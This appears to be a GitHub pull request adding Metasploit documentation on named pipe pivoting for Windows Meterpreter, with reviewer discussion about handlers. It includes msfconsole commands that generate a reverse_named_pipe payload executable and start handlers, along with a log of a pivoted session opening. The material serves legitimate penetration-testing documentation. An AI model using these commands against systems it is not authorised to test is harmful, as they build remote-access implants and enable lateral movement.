Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add named pipe pivot documentation #16654

Merged

Conversation

adfoster-r7
Copy link
Contributor

Adding docs on named pipe pivoting for Windows Meterpreter

```
msf6 > use windows/x64/meterpreter/reverse_named_pipe
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -o named_pipe_example.exe -f exe pipehost=169.254.16.221 pipename=msfpipe
[*] Writing 7168 bytes to named_pipe_example.exe...
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You may want to add a section on the handler, as this is a bit unclear and non-intuitive, IMO:

When you launch the named pipe payload, you need to have a listener open to receive the connection. The reverse_named_pipe payload will start a payload when you run to_handler:

msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > to_handler
[*] Payload Handler Started as Job 2
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > jobs -l

Jobs
====

  Id  Name                    Payload                                     Payload opts
  --  ----                    -------                                     ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp         tcp://10.5.135.101:4578
  2   Exploit: multi/handler  windows/x64/meterpreter/reverse_named_pipe

Unfortunately, that handler is not used by the named_pipe_payload. Note that the callback is to the original handler from the intermediate session:

msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 4 opened (Pivot via [10.5.135.101:4578 -> 10.5.132.101:51057]) at 2022-06-06 14:05:38 -0500

Ensure you have a handler open from the intermediate stage.

@bwatters-r7
Copy link
Contributor

Updated: adfoster-r7#8

@bwatters-r7
Copy link
Contributor

@adfoster-r7 I'm happy to merge the PR I put up and land this if it works for you.

@adfoster-r7
Copy link
Contributor Author

@bwatters-r7 Merged, thanks! 🎉

@bwatters-r7 bwatters-r7 merged commit be48b14 into rapid7:master Jun 13, 2022
@bwatters-r7
Copy link
Contributor

Release Notes

This PR adds documentation for using named pipe pivoting with Windows Meterpreter.

@bwatters-r7 bwatters-r7 added the rn-enhancement release notes enhancement label Jun 13, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants